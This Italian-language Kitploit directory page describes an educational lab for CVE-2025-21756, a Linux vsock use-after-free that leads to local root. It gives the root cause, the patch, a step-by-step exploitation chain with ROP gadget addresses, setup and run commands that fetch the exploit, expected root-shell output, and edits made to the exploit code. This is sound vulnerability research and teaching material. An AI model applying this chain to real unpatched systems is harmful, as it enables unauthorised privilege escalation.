Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-21756 — Laboratorio didattico che dimostra un exploit use-after-free (UAF) nel sottosistema vsock del kernel Linux per l'escalation dei privilegi locale a root, con configurazione automatizzata e analisi della catena ROP. | Kitploit
Strumenti/GitHubGitHub/h3raklez/cve-2025-21756
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitCTFApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

Laboratorio didattico che dimostra un exploit use-after-free (UAF) nel sottosistema vsock del kernel Linux per l'escalation dei privilegi locale a root, con configurazione automatizzata e analisi della catena ROP.

Vedi Repository
156 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-21756 — Laboratorio di Exploitation

Solo per scopi educativi e di ricerca sulla sicurezza autorizzati.

Descrizione

CVE-2025-21756 è una vulnerabilità use-after-free (UAF) nel sottosistema vsock (Virtual Socket) del kernel Linux, divulgata il 26 febbraio 2025. Consente a un utente malintenzionato locale di elevare i privilegi a root sui sistemi Linux interessati.

  • CVSS v3.1: 7.8 (ALTA)
  • Vettore: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • Componente interessato: net/vmw_vsock/af_vsock.c
  • Kernel interessato: Linux 6.6.75 (e versioni precedenti non corrette)

Causa principale

Il bug si verifica durante la riassegnazione del trasporto di un socket vsock. La sequenza vulnerabile è:

  1. vsock_create() crea il socket con refcnt=2 e lo inserisce nella lista non associata
  2. transport->release() chiama vsock_remove_bound() senza verificare se il socket è stato spostato nella lista associata, decrementando erroneamente refcnt
  3. vsock_bind() presuppone che il socket sia ancora nella lista non associata e chiama nuovamente _vsock_remove_bound()
  4. refcnt raggiunge 0 prematuramente → l'oggetto vsock viene liberato mentre è ancora referenziato → UAF

Patch applicata

void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

Catena di sfruttamento

  1. Attivare UAF — Due chiamate consecutive connect() con CID che producono trasporti diversi causano la liberazione prematura dell'oggetto vsock mentre è ancora collegato in vsock_bind_table
  2. Liberare slab — Le liste parziali SLUB vengono svuotate per restituire la pagina vittima all'allocatore di pagine
  3. Spruzzare pagine — La pagina liberata viene reclamata utilizzando unix_dgram_sendmsg con messaggi di ordine 2 (MIGRATE_UNMOVABLE), riempiendola con dati controllati
  4. Canale laterale — vsock_diag_dump (non protetto da AppArmor) viene utilizzato come canale laterale per rilevare quando la pagina è stata reclamata e individuare l'offset esatto dell'oggetto vittima all'interno della pagina
  5. Dirottamento RIP — sk->sk_prot viene sovrascritto per puntare a udp_prot+0x1c0 (udp_abort), che quando chiamato invoca sk->sk_error_report(sk), il cui puntatore viene sovrascritto con un gadget di stack pivot
  6. Catena ROP — Viene eseguito commit_creds(init_cred) per assegnare le credenziali di root al processo, seguito dal trampolino KPTI per tornare allo spazio utente
  7. Shell root — execve("/bin/sh") con uid=0

Requisiti

  • Debian 12 o 13 x86_64 (testato su Debian 13)
  • Utente normale con accesso sudo
  • RAM minima: 1 GB
  • Spazio libero su disco: 10 GB

Configurazione del laboratorio

# Scarica lo script di configurazione
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Esegui come utente normale (non root)
./setup-lab.sh

Lo script gestisce automaticamente:

  • Installazione di sudo se non disponibile
  • Installazione di tutte le dipendenze necessarie (build-essential, qemu-system-x86, bc, pahole, ecc.)
  • Download dell'ambiente kCTF ufficiale di Google (kernel lts-6.6.75, rootfs, ramdisk)
  • Download dell'exploit ktranowl e applicazione delle patch necessarie
  • Compilazione dell'exploit
  • Creazione dell'ambiente di esecuzione con i parametri corretti
  • Creazione di run_lab.sh come unico punto di ingresso

Esecuzione del laboratorio

cd ~/cve-2025-21756-lab
./run_lab.sh

Una volta avviato l'ambiente, esegui al suo interno:

wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

Output previsto

[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

Per uscire: Ctrl-A X


Modifiche applicate all'exploit originale

L'exploit di base proviene da ktranowl. Sono state applicate le seguenti modifiche per farlo funzionare in questo ambiente:

1. KASLR disabilitato

Modifica: nokaslr aggiunto ai parametri di avvio del kernel.

Motivo: L'exploit originale bypassa KASLR utilizzando EntryBleed, una tecnica di canale laterale basata sui tempi TLB che richiede una temporizzazione precisa della CPU. In un ambiente di virtualizzazione annidata, la precisione di rdtsc è insufficiente affinché EntryBleed funzioni in modo affidabile, producendo un kbase errato che causa lo sbaglio di tutti gli indirizzi calcolati con ADDRESS(). Disabilitare KASLR garantisce che il kernel venga sempre caricato a 0xffffffff81000000 e che gli offset hardcoded nell'exploit siano sempre corretti.

2. user_rip modificato da modeprobe_exec a check_root

Modifica in exploit.c:

// Prima
uint64_t user_rip = (uint64_t)modeprobe_exec;

// Dopo
uint64_t user_rip = (uint64_t)check_root;

Motivo: modeprobe_exec è la tecnica di escalation dei privilegi utilizzata nell'exploit originale per l'ambiente kCTF remoto. Richiede argomenti da riga di comando (IP e porta di un server remoto) e connettività di rete esterna. Senza tali argomenti, il processo crasha con un GPF quando tenta di leggere argv[1]. check_root verifica direttamente l'uid ed esegue /bin/sh, il che è sufficiente per dimostrare lo sfruttamento in un ambiente locale.

3. Rimossa chiamata a modeprobe_exec all'interno di check_root

Modifica in exploit.c:

void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // rimossa
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

Motivo: Anche con user_rip che punta a check_root, questa funzione chiamava internamente modeprobe_exec prima di eseguire /bin/sh. Senza gli argomenti necessari, tale chiamata causava un GPF e il processo terminava senza aprire una shell, nonostante commit_creds avesse già innalzato con successo i privilegi.


Analisi della catena ROP e dei simboli

Durante il processo di configurazione del laboratorio, tutti i simboli del kernel e i gadget ROP sono stati verificati rispetto al kernel ufficiale kCTF lts-6.6.75 per confermare che fossero validi per questo ambiente.

Gadget ROP

I tre gadget utilizzati nell'exploit sono stati estratti dal kernel ufficiale utilizzando ROPgadget sul binario vmlinux e confermati corrispondere esattamente ai valori hardcoded:

GadgetIndirizzoScopo
pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32Stack pivot — sposta RSP all'inizio dell'oggetto vsock controllato
add rsp, 0xb8 ; jmp ...0xffffffff8170292cAvanzamento dello stack — salta i campi riservati per raggiungere la catena ROP
pop rdi ; ret0xffffffff8115e4f9Carica il primo argomento per commit_creds(init_cred)

Nessuno di questi ha richiesto modifiche.

Simboli del kernel

I seguenti simboli sono stati verificati rispetto a /proc/kallsyms all'interno del kernel (con nokaslr, gli offset sono fissi):

Scarica lo strumento